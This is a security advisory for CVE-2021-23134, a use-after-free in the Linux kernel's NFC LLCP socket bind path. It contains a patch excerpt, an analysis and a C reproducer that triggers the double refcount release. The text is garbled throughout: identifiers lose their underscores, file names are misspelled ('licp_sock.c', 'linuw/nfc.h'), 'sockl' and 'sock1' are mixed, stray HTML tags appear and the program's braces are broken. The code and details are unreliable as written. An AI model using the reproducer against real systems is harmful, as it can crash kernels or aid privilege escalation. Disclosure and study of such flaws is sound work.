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Subject: CVE-2021-23134: Linux kernel: UAF in nfc sockets
 Hello,
 This is an announcement about CVE-2021-23134. This is a vulnerability in the linux kernel that we found in the implementation of nfc sockets (in net/nfc/licp_sock.c). This can lead to kernel privilege escalation from the context of an unprivileged user.
 The patch can be found here: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c61760e6940d
 =*=*=*=*=*=*=*= *= VULNERABILITY DETAILS =*=*=*=*=*=*=*=*= All of the code figures are from kernel version 5.11.
 A recent bug fix to a refcount leak in llcp_sock_connect was issued to the linux Kernel, with the following code changes (targeting an issue that was named CVE-2020-25670):
  net/nfc/llcp_sock.c | 2 ++
1 file changed, 2 insertions(+)
goto put_dev;
     }
llcp sock->ssap = nfc llcp get sdp ssap(local, llcp_sock);
if (llcp sock->ssap == LLCP SAP MAX) {
    nfc llcp_local put(lcp_sock->local);
    kfree(llcp_sock->service_name);
    llcp_sock->service_name = NULL;
    ret = -EADDRINUSE;
 The original patch notes says:
 nfc llcp local get() is invoked in llcp sock bind(), but nfc llcp local put() is not invoked in subsequent failure branches. As a result, refcount leakage occurs.
To fix it, add calling nfc_llcp_local_put().
 However, this fix causes a UAF under certain conditions. Specifically, there is another location where nfc_llcp_local_put is called with llcp_sock->local - the destructor of the socket:
 void nfc llcp sock free(struct nfc llcp sock *sock)
                  kfree(sock->service name);
                   skb_queue_purge(&sock->tx_queue);
skb_queue_purge(&sock->tx_pending_queue);
                  list del init(&sock->accept queue);
                  sock->parent = NULL;
                  nfc llcp local put(sock->local);
Note that the 'local' field (of type nfc\_llcp\_local) is acquired from a global per device list, via the function nfc\_llcp\_find\_local. So if we can fail the nfc\_llcp\_get sdp ssap for example, the global object will get its reference count increased only once (via the nfc\_llcp\_local\_get function), but it will be freed twice (once in the faillure branch in bind, and another time in the destructor of the socket when the last fd to it is closed).
 Our reproducer program looks like this:
 #include <sys/socket.h>
#include <linuw/nfc.h>
#include <string.h>
#include <memory.h>
#include <unistd.h>
#include <stdio.h>
#include <stdio.h>
#include <errno.h>
 int main() {
    struct sockaddr_nfc_llcp addr = {0};
    int sockl = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
    if (sockl < 0) {
        perror("sockl");
        return -1;
    }
}</pre>
          }
int sock2 = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
if (sock2 < 0) {
   perror("sock2");
   return -1;</pre>
         }
addr.sa_family = AF_NFC;
addr.nfc_protocol = NFC_PROTO_NFC_DEP;
bind( sock1, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
bind( sock2, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
close(sock1);
close(sock2);
return 0;
This is the resulting stack trace:
          33
36.115524] RSF: 0018:ffffc900005e7e18 EFLAGS: 00010286
36.115595] RAX: 0000000000000000 RBX: ffff88810177fc00 RCX: 000000000000000
36.116562] RDX: ffff88842fc17590 RSI: ffff88842fc17590 RDI: ffff88842fc17590
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